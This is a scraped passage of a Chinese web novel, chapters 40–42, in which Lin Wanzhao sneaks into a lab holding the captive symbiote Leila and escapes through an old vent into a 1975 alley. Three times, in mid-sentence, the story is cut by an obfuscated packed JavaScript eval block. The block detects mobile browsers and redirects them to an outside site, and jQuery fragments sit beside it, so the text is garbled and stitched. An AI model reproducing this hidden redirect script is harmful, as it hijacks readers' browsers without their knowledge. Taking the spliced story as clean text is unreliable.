狭窄、黑暗、布满灰尘的通风管道。她不管不顾地爬了进去,然后将检修口盖子尽量复原。 管道里弥漫着铁锈和灰尘的气味,几乎令人窒息。她艰难地向前爬行,方向是主楼。树苗的微弱感知指引着她:蕾拉在下方,在更深的地下。 外面传来李明的怒吼和更多人的跑动声。干扰器的效果正在减弱,他能重新定位了。 林晚照在黑暗中摸索。通风管道四通八达,她只能凭着树苗那越来越清晰的、对“母亲”的共鸣感来辨别方向。向下,向左,再向下…… 不知爬了多久,前方出现一丝微弱的光亮,是另一个通风口。她凑过去,透过百叶栅格向下看。 下面是一个宽阔的空间,不像普通的实验室,更像一个被改造过的地下大厅。大厅中央,赫然是一个巨大的、圆柱形的玻璃培养舱,舱内充满淡蓝色的透明液体。而液体中悬浮着的,正是蕾拉。 她闭着眼,脸色苍白如纸,银色短发在液体中微微飘荡。更让人心悸的是,无数细密的、深黑色的丝状物从培养舱底部延伸上来,缠绕在她的四肢和躯干上,甚至有一些刺入了她的太阳穴和颈侧。那些黑色丝状物微微搏动着,像是活物的触须。 而在培养舱旁边,还有几个小型的透明容器,里面浸泡着一些难以名状的、散发着暗淡光芒的组织样本——那是从其他共生体或观测员身上剥离下来的“材料”。 大厅里有几个穿着白色防护服的人员在走动,记录数据,调整仪器。 林晚照的心沉到了谷底。这就是“捕猎者”的实验室,这就是蕾拉的囚笼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884647|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>树苗在她意识里爆发出强烈的悲伤与愤怒,银光几乎要冲破隐藏状态。母亲!痛苦!黑色……吞噬! “冷静!”林晚照用意识死死压制住它,“现在暴露,我们都得死!” 她强迫自己观察。大厅有几个出入口?守卫分布?仪器控制台在哪里?蕾拉的培养舱有没有独立的控制系统? 就在这时,大厅一侧的门开了,李明走了进来,脸色阴沉。他径直走向主控台,对一名防护服人员说了几句。那人点点头,在控制台上操作了几下。 培养舱内的蓝色液体开始微微翻滚,那些黑色丝状物搏动加快。蕾拉的身体猛地抽搐了一下,眉头痛苦地皱起,但眼睛依旧紧闭。 他们在刺激她,或者说,在“榨取”她。 林晚照的指甲深深掐进掌心。她必须做点什么,但现在冲下去无异于自杀。 她的目光落在通风管道延伸的方向。管道似乎通往大厅天花板上的某些设备检修口。也许…… 突然,她手腕上原本紊乱的银镯红光,猛地稳定了一瞬,指向大厅的某个角落。那里堆放着一些废弃的仪器箱和杂物。 紧接着,树苗传递来一个极其惊讶、又带着熟悉感的意念:同类……隐藏……虚弱……但活着…… 在那个角落的阴影里,还有另一个共生体?一个隐藏起来的、虚弱的共生体? 这个发现像一道闪电划过林晚照的脑海。一个大胆的、近乎疯狂的计划雏形,开始在她心中成形。 她需要那个隐藏的共生体,需要制造混乱,需要接近控制台,还需要……一个能暂时切断黑色丝状物与蕾拉连接的方法。 她悄悄退回管道深处,从挎包里摸出最后一点干粮——炒黄豆,又拿出那包所剩无几的草药粉末。她将粉末小心地沾在几颗黄豆上。 然后,她再次爬到那个通风口,估摸了一下角度和距离,用尽全力,将几颗沾了粉末的黄豆,从百叶栅格的缝隙里弹射出去! 豆子悄无声息地落在那个堆满杂物的角落,滚进阴影里。 做完这一切,她立刻后退,爬向管道的另一个方向,同时,用意识向树苗发出最强烈的请求: “帮我……感应那个角落的同类……刺激它……一点点就好……引起最小的骚动……” 树苗理解了。它分出一丝微弱到极致、几乎不可能被监测网捕捉的感应波,像一根无形的丝线,悄然探向那个角落。 几秒钟后。 “咦?”大厅里,一个靠近角落的防护服人员忽然停下脚步,疑惑地看向那堆杂物。他好像看到阴影里有什么东西微弱地闪了一下绿光,还闻到一丝奇怪的、类似草药的味道。 他走过去,弯腰查看。 就是现在! 林晚照看准时机,用尽最后的力气,将手里剩下的、没有沾粉末的几颗黄豆,从通风口瞄准大厅主控台附近一个精密的、连接着许多线缆的仪器,用力弹出! “啪!”一颗黄豆打在了仪器侧面的金属外壳上,声音不大,但在安静的大厅里格外清晰。 “什么声音?”主控台前的李明和工作人员立刻警觉地抬头。 “那里!”查看角落的工作人员也直起身,指向杂物堆和主控台方向,一时间有些混乱。 所有人的注意力都被这两处小小的异常吸引了。 而林晚照,已经沿着通风管道,拼命爬向她早先观察到的、可能是备用电源或通风系统的检修节点方向。她能感觉到,胸口干扰器最后的余波正在消失,银镯的灼烫感正在重新变得清晰、稳定。 李明的怒喝声从下方隐隐传来:“加强警戒!搜查所有通风管道!她跑不远!” 灯光变得更加刺眼,警报声似乎随时会拉响。 林晚照蜷缩在管道一处稍微宽敞的转角,剧烈喘息,汗水混着灰尘流进眼睛,刺得生疼。她成功了第一步,制造了微不足道的混乱,暂时没有暴露。 但接下来呢?如何在下方的天罗地网中,救出蕾拉?如何摆脱即将重新锁定的“锚点”? 她的目光落在手腕上。银镯的红光已经恢复了规律的闪烁,像一颗冰冷而忠诚的心脏,不断将她的位置发送出去。 一个更疯狂的想法,不可抑制地冒了出来。 既然无法摆脱,何不……利用它? 她抚摸着滚烫的镯子,看向管道下方那片被阴影笼罩的、藏着虚弱同类气息的角落。 也许,饵可以不止一个。 41.双生诱饵 树苗的哀鸣在林晚照意识中尖锐如裂帛,那失控爆发的银光穿透了通风管道的金属壁,在她藏身的转角处投下一片摇曳的、璀璨到绝望的光斑。 完了。 这是林晚照脑中闪过的第一个念头。隐藏彻底破除,位置暴露无遗,下方大厅里李明的目光像实质的探针,钉死了这片区域。 下方传来清晰、稳定的脚步声,以及金属器械碰撞的脆响。他们上来了,目标明确。 没有时间绝望。 第二个念头紧随而至,冰冷、迅猛,像出鞘的刀——既然躲不了,那就把水彻底搅浑! 她猛地扯开棉袄内侧缝线,掏出那个已经耗尽能量的信号干扰器外壳,用牙齿和手指配合,硬生生掰开一角,露出里面复杂精细的微型电路。然后,她做了一件近乎自残的事:用指甲狠狠划破自己左手腕内侧——不是动脉,但足够深,温热的血液立刻涌出。 她将流血的手腕用力按在那个裸露的电路板上! 鲜血浸入精密的元件,发出轻微的“滋滋”声,伴随着一股焦糊味。这不是科学的做法,但她赌的是两件事:第一,她的血液长期受灵泉滋养,又因共生体连接蕴含着微弱但特殊的时空能量;第二,郑卫国改造的这个设备,核心原理是干扰特定能量频率。鲜血中的异常能量短路烧毁元件时,或许能迸发出最后一波混乱的、无法预测的干扰脉冲! “嗡——!!!” 一声低沉到几乎感觉是震动而非声音的爆鸣,以报废的干扰器为中心猛地扩散开!整个通风管道,乃至下方的实验室大厅,所有灯光都剧烈闪烁了一瞬!几个精密的仪器屏幕瞬间雪花,发出刺耳的电流噪音。 下方传来几声惊呼和咒骂。 几乎同时,林晚照将沾满自己鲜血的干扰器残骸,用尽全力朝着通风管道的另一端——远离阴影角落的方向,狠狠扔了出去!残骸在管道内壁上“哐啷啷”滚出老远。 做完这一切,她已经脸色惨白,失血和剧烈的能量冲击让她眼前发黑。但她死死咬住下唇,用疼痛保持清醒,迅速撕下内衣相对干净的一角,胡乱包扎住手腕伤口。 她的计划简单而疯狂:用自己的血引发最后一次不可控干扰,制造混乱;将残留她鲜血和能量的干扰器残骸扔向反方向,作为第一个诱饵,吸引大部分追兵;而她自己,真正的目标,是下方阴影中那个虚弱的同类,以及蕾拉! 树苗的银光在干扰爆发的瞬间也紊乱了一下,但哀鸣并未停止,反而因感受到“母亲”急剧恶化的痛苦而更加尖锐。林晚照强忍着意识被双重冲击的眩晕,用尽全部意志向树苗传达指令: “收敛!感应那个角落!连接它!告诉它……合作,或者一起死!” 这是最后的赌博。她不知道那个虚弱的共生体是否有意识,是否愿意沟通,甚至是否有敌意。 树苗的银光艰难地内敛,波动着,分出一缕纤细到近乎断裂的能量丝线,小心翼翼地向下方角落的阴影探去。 一秒,两秒…… 就在下方脚步声重新逼近,李明的怒喝“她在那头!封锁两端!”传来时—— 那缕能量丝线,触碰到了什么。 一股微弱、干涸、充满了痛苦与迷茫的意念,顺着丝线颤巍巍地传递回来。 痛……黑暗……饿……同类?……母亲……也在痛…… 有意识!而且,它同样称呼蕾拉为“母亲”! 林晚照精神一振,立刻回应:“是!母亲在受苦!我是来救她的!你能帮我吗?我需要制造更大的混乱,吸引他们的注意力!” 虚弱意念迟疑着,带着深深恐惧:他们……可怕……会抓住……吃掉…… “不合作,我们都会被抓住!母亲会被彻底吞噬!”林晚照的意念斩钉截铁,“帮我!制造动静,向干扰器残骸那个方向!然后……尽可能隐藏自己!” 也许是“母亲”这个词的刺激,也许是绝境中的共鸣,那虚弱的意念终于传来一丝决绝:好……但……我……很弱……只能……一下…… “一下就够了!” 话音刚落,下方那个堆满杂物的角落,阴影深处,骤然亮起一团极其黯淡、却频率诡异的绿色荧光!光芒不强,但闪烁方式奇特,忽明忽灭,像垂死生物的心跳,同时散发出一股难以形容的、类似腐败植物与电离空气混合的怪异气息。 这突如其来的、来自“实验样本储藏区”的异常,立刻引起了下方人员的注意。 “报告!B-7区域未登记样本出现异常能量反应!”有人喊道。 李明的目光凌厉地扫过绿光闪烁的角落,又看向干扰器残骸滚远的方向,脸色阴沉如水。他瞬间判断出这是一个二选一的陷阱。林晚照果然不是坐以待毙的兔子。 “A队去追残骸信号!B队封锁所有出口!C队,跟我控制B-7区域!注意,目标可能拥有诱发样本异常的能力!”他果断分兵,但亲自带人扑向了绿光闪烁的角落——相比一个可能只是诱饵的死物,一个突然活跃的、未知的共生体样本,价值可能更大,风险也更高。 机会! 就在李明带人冲向角落,大部分注意力被分散的这几秒钟,林晚照动了! 她没有向下跳入大厅,那是自杀。她沿着通风管道,朝着记忆中主楼建筑结构图(郑卫国笔记里瞥过一眼)显示的、靠近外部围墙的方向拼命爬去!树苗传递给她一个模糊的感知:那个方向的“网”似乎因为建筑结构和老旧线路,相对薄弱,而且……似乎有一条废弃的、连接外部的地下管线可能就在附近! 她不是要逃跑,至少现在不是。她要找到一个能暂时摆脱“锚点”实时监控的角落,哪怕只有几分钟,来执行下一步计划! 通风管道错综复杂,她依靠树苗对空间和能量流动的微弱感知,在黑暗中艰难抉择方向。身后远处传来管道被暴力撬开的声音,追兵没有放弃。手腕的伤口还在渗血,包扎的布条已经染红,体力在急速流失。 终于,前方出现一个较大的竖向通风井,井壁有生锈的爬梯。下方黑黢黢的,不知通往何处。树苗的感知在这里变得混乱,仿佛有多个微弱的能量场交织。 没有时间犹豫了。她抓住爬梯,向下滑去。 竖井很深,越往下,空气越潮湿阴冷,混杂着浓重的霉味和铁锈味。爬了大约两层楼的高度,脚下触到了实地——是松软的淤泥和积水。 这里似乎是地下室之下的某个废弃空间,可能是早年建筑的地下管廊或储藏间。几根粗大的、锈蚀严重的水管和电缆线从墙壁伸出,没入黑暗。头顶唯一的光源是通风井口透下的微光,四周一片漆黑。 林晚照背靠冰冷的墙壁,大口喘息。暂时安全了?不,“锚点”的灼烫感依然存在,只是在这复杂的地下环境和微弱干扰下,信号可能变得不稳定、延迟。她必须抓紧时间。 她再次沉入空间。树苗的状态很糟,银光暗淡,枝叶低垂,传递着深深的疲惫和对“母亲”持续的担忧。但它依然努力维持着与阴影中那个虚弱共生体的一丝连接。 “它怎么样了?”林晚照问。 很弱……刚才……消耗大……躲起来了…… 树苗的意念断断续续,它说……谢谢……母亲……以前……保护过它…… 林晚照心中一动。那个虚弱共生体果然和蕾拉有旧,这或许是转机。 “能再和它沟通吗?我需要知道实验室的详细情况,特别是蕾拉培养舱的控制系统,还有没有其他守卫薄弱点或者秘密通道?” 树苗尝试沟通,片刻后传来虚弱的反馈:它……知道不多……被关了很久……但它记得……母亲舱体……有独立备用电源……在舱体底座……红色开关……按下……可以暂时切断外部控制10秒……还有……它说……西侧墙……杂物后面……有个旧通风口……很小……可能通到外面小巷……但很久没用了……不确定…… 独立备用电源!十秒钟!旧通风口! 这是黑暗中浮现的第一缕光! “问它,那个通风口具体位置!以及,实验室里除了李明,还有没有其他‘捕猎者’的高层?或者特殊能力的守卫?” 树苗再次沟通,这次时间稍长。林晚照焦急地等待着,同时侧耳倾听上方的动静。追捕的声音似乎远去了一些,但并未停息。 它说……通风口……在西墙……第三个大型仪器柜后面……要挪开柜子……它也不确定……是否畅通…… 树苗的意念带着不确定,其他……它只知道……有个穿白大褂……戴金丝眼镜的男人……很少来……但一来……母亲就会很痛苦……李明……听他的……它很怕那个人…… 戴金丝眼镜的男人?李明之上还有更高层? 林晚记下这个信息。现在,她有了一个极度冒险但唯一可行的计划:潜回大厅,利用那十秒的独立电源切断时间,尝试解救蕾拉,然后从西墙可能的旧通风口逃离。 但这需要时机,需要外部制造更大的混乱,需要……有人配合。 她想到了郑卫国。他还在外面吗?他知道自己被困在这里吗?那个SOS信号后,他会不会有行动? 仿佛回应她的想法,手腕上原本规律闪烁红光的银镯,突然极其微弱地、不规则地闪烁了三下——短短长。 不是“锚点”的正常信号!是人为的、有意识的干扰脉冲!是郑卫国在试图传递信息!他就在附近,而且能动用某种手段微弱干扰“锚点”! 林晚照的心猛地提起。她仔细感受着那不规则闪烁的节奏,试图解读。短短长……摩斯码?不对,这个节奏…… 她忽然想起郑卫国笔记某一页的角落,用一种近乎涂鸦的方式画了几个奇怪的符号和对应的闪烁节奏,旁边标注“紧急情况简易码”。 短短长……对照记忆……是……“等”? 他在让她等?等什么?等他的信号?还是等某个时机? 就在这时,头顶通风井口方向,隐约传来不同于追捕喧嚣的另一种声响——沉闷的、类似重物倒地声,短暂的惊呼,随后是急促的奔跑声和呵斥声,声音快速向着实验室大厅方向移动! 是郑卫国!他行动了!他在故意制造动静,吸引火力! 机会来了! 林晚照不再犹豫。她撕下另一条相对干净的布条,重新加固手腕伤口。然后,她看向空间里萎靡的树苗。 “最后帮我一次。”她的意念温柔而决绝,“我需要你所有的能量,帮我暂时屏蔽‘锚点’对我位置的精确指示,越久越好。然后,积蓄力量,等我们靠近母亲时……我需要你,尝试沟通她,哪怕只是一瞬,告诉她——坚持住,我们来救她了。” 树苗的枝叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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就在她观察时,透过烟雾,她看到蕾拉所在的培养舱内,深红色的液体翻滚得更加剧烈,那些黑色丝状物狂舞着,蕾拉的身体痉挛幅度变大,嘴角甚至溢出一缕血丝(在液体中化开)。她的眼睛,在极度痛苦中,似乎极其微弱地睁开了一线,银色的瞳孔涣散无光,却仿佛穿透了液体和玻璃,看向了林晚照藏身的通风口方向。 那一眼,充满了无尽痛苦,却又似乎有一丝……解脱般的期待? 树苗在她意识中发出悲鸣,银光剧烈波动,屏蔽“锚点”的效果都在动摇。 不能再等了! 林晚照看准下方因为烟雾和救火造成的短暂视野盲区,以及几个守卫被门口动静吸引转头的一刹那—— 她猛地踹开通风口百叶栅格,纵身跳了下去! 落地点是那个西墙的大型仪器柜顶部。厚重的柜子被她下坠的力道砸得轰然一响,微微晃动。 “在上面!”立刻有人发现,枪口(或类似武器)指来! 林晚照毫不停留,就着下落的势头,双脚猛蹬柜子顶部,借力扑向旁边另一台稍矮的设备,险之又险地躲开一道射来的蓝色电光(非致命性抓捕武器?)。她像一只灵活的狸猫,在复杂的仪器和设备之间腾挪跳跃,利用烟雾和警报闪烁的红光作为掩护,目标直指大厅中央的蕾拉培养舱! “拦住她!别让她靠近主样本!”李明的声音带着一丝气急败坏。 更多的守卫围拢过来。但烟雾和持续的警报干扰了他们的配合。 林晚照感到“锚点”的屏蔽在剧烈波动,树苗的力量快到极限了。她离培养舱还有十几米,中间隔着至少五个全副武装的守卫。 眼看就要被合围—— 突然,大厅主电源“啪”地一声熄灭了!只剩下应急红灯和培养舱自身微弱的背光! 短暂的、绝对黑暗的一瞬(不到一秒)! 紧接着,备用电源启动,灯光重新亮起,但亮度大减。 就在这明暗交替的瞬间,林晚照用尽全身力气,将一直攥在手里的、从通风管道掰下的一截尖锐金属断片,狠狠掷向培养舱底座某个疑似红色开关的位置! “叮!”一声脆响,伴随着电火花! 培养舱周围的一圈指示灯瞬间熄灭,舱内翻滚的深红色液体猛地一滞,那些狂舞的黑色丝状物像是突然失去动力,抽搐着,动作变得迟缓而僵硬! 独立备用电源启动!十秒倒计时开始! “不!”李明怒吼。 守卫们因为这突如其来的变故愣了一下。 林晚照抓住这千金一发的机会,从两个守卫之间的缝隙猛冲过去,扑到了培养舱前! 隔着冰冷的玻璃,她与舱内蕾拉涣散的银色瞳孔对视。 树苗用尽最后的力量,爆发出一股强烈的、充满依恋与呼唤的意念波动,冲向蕾拉! 也就在这一刻,林晚照看到,蕾拉那涣散的瞳孔中,骤然凝聚起一点微弱却清醒至极的银芒!她的嘴唇,在粘稠的液体中,极其缓慢地,开合了一下。 没有声音。 但林晚照和树苗,都清晰地“听”到了一个直接响在意识深处的、虚弱却清晰无比的词: “跑……” 下一秒,十秒时间到。备用电源断开,外部控制恢复。黑色丝状物重新开始蠕动,但似乎比之前迟钝了些。 李明的狞笑在身后响起:“抓住她!” 而林晚照的目光,却死死锁在西墙——那个刚才被她踩踏过的大型仪器柜,在电源切换的震动和混乱中,似乎……向旁边挪动了几寸,露出了后面墙壁上一个黑黢黢的、边缘布满锈迹的洞口。 旧通风口!真的存在! 42.黑暗甬道与真相回响 “育种者”。 这个词像一根烧红的铁钎,贯穿了林晚照的耳膜,烫穿了她的认知。手腕上银镯的剧痛、那与控制器同步的“滴滴”声,都成了这个词最残忍的注脚。她不是什么意外穿越的孤魂,不是被命运选中的观测员,她是……被培育的“作物”?为了收割什么? 眼镜男——“博士”——对她的惊骇反应似乎很满意,那温和的微笑里淬着冰冷的愉悦。他不再看她,仿佛她已是囊中之物,注意力重新回到剧烈颤抖的蕾拉身上,手指在银色控制器上又轻点了一下。 墨黑的液体翻涌稍缓,蕾拉弓起的身体微微松弛,但那双刚刚凝聚起一丝清明的银色瞳孔,再次涣散开,只剩下空洞的痛苦。 “你看,”博士的声音在警报余音和守卫急促的脚步背景中,清晰得可怕,“‘繁育者’的潜力还没有耗尽。她的意识还在抵抗,这很好,很有研究价值。而你,074号,”他终于又瞥向林晚照,镜片后的眼睛像显微镜的镜片,审视着标本,“你的成长超出了预期。与未知高潜力共生体达成稳定共生,甚至能诱发其他衰变体活性……你是一颗优秀的果实。虽然‘收割’时机因意外提前了,但数据依然宝贵。” 每一个字都在颠覆、在摧毁。林晚照感到一阵恶心,不仅仅是生理上的,更是对自我存在根基的动摇。她所有的挣扎、努力、与树苗建立的羁绊、对红星公社那份沉甸甸的责任……难道都是被设计好的程序?都是为“收割”做的准备? 不! 内心最深处,一股近乎蛮横的意志嘶吼着反弹。就算起源是阴谋,她这七个月活过的每一天、流过的汗、见过的笑容、许下的承诺,都是真的!树苗依偎在她意识里的温暖是真的!陈大牛、陈铁柱、王晓芬他们眼里的信任是真的! 她不是果实!她是林晚照! 这股意志冲垮了瞬间的恍惚。求生的本能和对蕾拉(哪怕她是“繁育者”)遭遇的怒火,压倒了认知崩塌带来的眩晕。她的目光猛地射向那个黑黢黢的旧通风口——那是蕾拉用最后清醒指引的“跑”,是此刻唯一的生路! 然而,守卫已经围拢,最近的离她只有三步。博士虽然看似从容,但控制器在手,随时可以让她腕上的“锚点”变成最痛苦的枷锁。 就在这电光石火的刹那,异变再生! “轰隆——!!!” 一声远比之前火警触发更沉闷、更巨大的爆炸声,从实验室东侧、靠近建筑主体结构的方位传来!整个地下大厅剧烈摇晃,顶部的灰尘和碎块簌簌落下,几盏应急灯“噼啪”熄灭,光线更加昏暗。刺鼻的硝烟味混合着原本的烟雾弥漫开来。 “怎么回事?!”李明厉声喝问,顾不上林晚照,急忙看向爆炸方向。 “报告!东侧三号备用发电室发生爆炸!原因不明!结构可能受损!”有守卫通过通讯设备急促汇报。 郑卫国!这一定是郑卫国干的!不是简单的火灾警报,而是更直接的暴力破坏!他在用这种方式,制造最大的混乱,为她创造机会! 机会! 林晚照动了。她没有冲向通风口,反而借着爆炸震动众人分神的瞬间,弯腰捡起地上一截断裂的金属导管,用尽全身力气,狠狠砸向身边一个闪烁着指示灯的配电箱! “砰!哗啦——!” 电火花四溅,一小片区域陷入黑暗,包括困住蕾拉的培养舱的部分照明。虽然舱体自带微光,但视线明显受阻。 “拦住她!”博士的声音第一次失去了绝对的从容,带上一丝恼怒。他显然没料到在“锚点”控制和自己亲临的情况下,这个“果实”还敢如此疯狂反抗,更没料到外部破坏如此猛烈。 守卫们反应很快,但爆炸的震动、弥漫的硝烟、突然的局部断电以及林晚照完全违背常理(不逃跑反而搞破坏)的行动,让他们出现了极其短暂的混乱和判断迟疑。 就这短短一两秒,林晚照像一只矫健而亡命的野猫,猛地蹬踏旁边的仪器台,身体几乎与地面平行地窜出,险险避过一道抓来的手和射来的电击光束,落地翻滚,径直撞向那个西墙的大型仪器柜! “哐!”本就因她 earlier 踩踏而松动的柜子,被她这舍身一撞,沉重的底座与地面摩擦发出刺耳声响,再次向旁滑开一尺有余! 那个边缘锈蚀、黑洞洞的通风口,完全暴露出来!直径大约只有五六十公分,勉强容一人蜷缩通过,里面漆黑一片,深不见底,散发着陈年的尘土和铁锈气息,仿佛怪兽的喉咙。 没有时间判断里面是否有路、是否安全、是否有更可怕的陷阱。身后是博士冰冷的视线、李明气急败坏的怒吼、守卫重新扑来的身影,以及手腕上“锚点”越来越清晰的、仿佛要嵌入骨头的收紧感和灼痛。 跳! 林晚照没有丝毫犹豫,在最近的守卫手指即将触及她衣角的瞬间,团身扑入了那片黑暗之中! “追!”李明的怒吼被抛在身后。 通风管道内部比她想象得更狭窄、更崎岖。根本不是规整的管道,更像是建筑废弃的、不同时期管道堆叠挤压形成的缝隙。尖锐的金属断茬、厚厚的灰尘蛛网、潮湿滑腻的不知名污垢瞬间包裹了她。她只能凭借直觉和求生的欲望,在绝对的黑暗中,朝着可能是“外”的方向拼命爬行。 手腕上的“锚点”银镯仍在发烫、震动,“滴滴”声在狭窄空间里回荡,仿佛死神的脚步声。她知道,这声音会指引追兵。她必须尽快拉开距离,或者……找到办法屏蔽它,哪怕只是暂时的。 爬行了不知多久,也许只有几分钟,却漫长得像一个世纪。前方出现了一点极其微弱的、灰蒙蒙的光,似乎是另一个出口,但同时也传来了模糊的、市井的声响——隐约的叫卖声、自行车铃声、远处广播模糊的歌唱声。 是外面!真的通向小巷! 希望刚升起,后方管道深处就传来了清晰的、金属摩擦和人体爬行的声音!追兵进来了!而且不止一个!声音在复杂的管道里回荡,难以判断具体距离,但肯定不远! 更糟糕的是,就在她奋力朝着那点微光爬去时,左手腕的“锚点”银镯猛地爆发出一阵强烈的、尖锐的刺痛,仿佛有无数细针同时扎入!同时,一股诡异的、冰冷的意念波动,强行试图穿透树苗沉寂后变得薄弱的意识屏障,直达她的脑海! 是那个银色控制器!博士在远程加强“锚点”的刺激,试图直接干扰甚至控制她的神经! 林晚照痛哼一声,眼前发黑,攀爬的动作瞬间僵住,差点从一处倾斜的管道边缘滑落。她死死咬住嘴唇,血腥味在口中弥漫,用剧痛对抗着那股试图侵入的冰冷。 不能停!停下来就是死! 她脑中疯狂回想郑卫国笔记里一切关于“锚点”的描述。便携式激发器、定位信标、回收清除程序的一部分……有没有弱点?任何系统都该有弱点!强行激活干扰?她已经用血试过,只剩一次超载机会,那是最后保命的。物理破坏?这镯子材质诡异,之前尝试从未损其分毫。能量屏蔽?树苗力量耗尽…… 等等! 树苗力量耗尽,但……连接还在!最本源的、共生体的连接! 一个近乎自毁的念头闪过脑海。既然“锚点”通过能量信号定位和控制,那么,如果她用自己(和树苗)的生命能量为燃料,瞬间制造一个极致的、纯粹的能量“噪声”爆炸呢?不是干扰外部信号,而是从内部,用自身的混乱,去冲击“锚点”的稳定接收! 这可能会重创甚至毁灭树苗刚刚萌芽的意识,可能会让她自己的意识严重受损,但……这是唯一可能暂时摆脱“滴滴”声追踪、摆脱那冰冷意念侵入的办法! 没有时间权衡了!追兵的声音更近了! 林晚照在黑暗中闭上眼睛,不再试图对抗那股侵入的冰冷意念,反而……主动放松了意识屏障,同时,用尽全部精神,向沉寂的树苗发出最后、最恳切的呼唤与指令: “帮我……最后一次……把所有的能量……所有的‘声音’……都给我……然后……沉睡……保护好自己……” 沉寂的树苗似乎感应到了她决绝的意志和极致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891285|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的危险。那微弱的、玉白色的光核,在她意识深处轻轻颤抖了一下,然后,毫不犹豫地,将自身残存的、以及从林晚照生命力中汲取转化的所有能量,以一种无比纯粹、不带任何防御和过滤的形式,轰然传递给她! “呃啊——!!!” 林晚照喉咙里挤出一声压抑到极致的痛吼。那不是物理的疼痛,是意识被纯粹能量洪流冲刷、几乎要崩解的剧痛!仿佛每一个脑细胞都在燃烧、呐喊! 她将这狂暴的、无差别的能量,全部导向左手腕的“锚点”银镯! “嗡——!!!” 银镯爆发出前所未有的、刺眼到透过皮肉和衣袖都能看见的炽烈白光!那规律的“滴滴”声瞬间被一种高频、混乱、尖锐到无法形容的噪音取代!镯体本身剧烈颤抖,表面的龙凤纹路疯狂扭动,仿佛要活过来挣脱! 那股试图侵入的冰冷意念,像是被滚烫的烙铁狠狠烫到,猛地缩了回去! 更重要的是,追踪的“滴滴”声信号,在这片纯粹的能量噪音爆炸中,彻底消失、紊乱了! “信号……信号丢失!干扰太强!无法定位!”后方管道里,传来追兵气急败坏又带着惊疑的汇报声。 成功了!虽然只是暂时的! 林晚照七窍都渗出了细微的血丝,脑袋像被重锤砸过,嗡嗡作响,意识模糊,几乎要当场昏厥。但她凭着最后一口气,朝着前方那点越来越近的微光,手脚并用地爬去! 眼前豁然开朗! 她从一个离地约两米高、隐藏在堆积杂物和破烂招牌后面的墙洞中,滚落出来,重重摔在一条狭窄、潮湿、堆满垃圾的后巷地面上。 冰冷肮脏的雪水浸透了她单薄的衣衫,刺骨的寒风瞬间包裹了她。但她却贪婪地、大口地呼吸着这充满城市灰尘和复杂气味的“自由”空气。 头顶是1975年冬日下午阴沉灰白的天空,两旁是高耸的、墙皮剥落的旧式楼房。远处隐约传来有轨电车的铛铛声和模糊的广播喇叭声。 她真的逃出来了!从那个地狱般的实验室,来到了省城真实、混乱、充满生机的街道背面。 然而,危机远未结束。追兵可能很快就会从别的出口绕过来搜索这片区域。“锚点”的信号干扰只是暂时的,一旦能量平息,它很快就会重新被锁定。她身受重伤(手腕的伤口崩裂,意识受创),树苗陷入深度沉寂,孤立无援,对省城环境完全陌生。 而且……“育种者”、“繁育者”、“收割”……这些词像毒蛇一样盘踞在她心头,啃噬着她刚刚获得的短暂喘息。 她挣扎着爬起来,背靠冰冷潮湿的砖墙,警惕地打量四周。这条后巷很僻静,堆满了杂物,几个破烂的垃圾桶散发着异味。巷子一头被杂物堵死,另一头通向一条稍宽的、似乎有行人走过的胡同。 必须立刻离开这里,找个地方躲起来,处理伤口,恢复体力,然后……想办法联系郑卫国?或者找到张教授?他们现在是否安全? 就在她艰难地挪动脚步,准备朝着胡同方向移动时,巷子另一头堆积如山的破烂家具和木板后面,传来了极其轻微的“咯吱”声。 有人! 林晚照浑身汗毛倒竖,立刻屏住呼吸,蜷缩进一堆废弃的竹篓后面,手摸向地上半截锈蚀的铁棍。 一个身影,小心翼翼地从杂物后面探出头来。 不是穿着制服或防护服的追兵。 那是一个看起来六十多岁、头发花白、穿着打补丁的旧棉袄、脸上布满岁月沟壑的老太太。她手里挎着个旧竹篮,篮子里装着些捡来的破烂和煤核。她眼神有些浑浊,但透着底层小市民特有的警惕和一丝好奇,正打量着狼狈不堪、浑身污血迹的林晚照。 两人目光在昏暗的后巷中对上。 老太太先开了口,声音沙哑,带着浓重的本地口音: “姑娘,你……你是从那个‘鬼楼’里跑出来的?” 她枯瘦的手指,指了指林晚照刚刚爬出来的那个墙洞方向,而那个方向,正是省农科院老实验楼的后侧。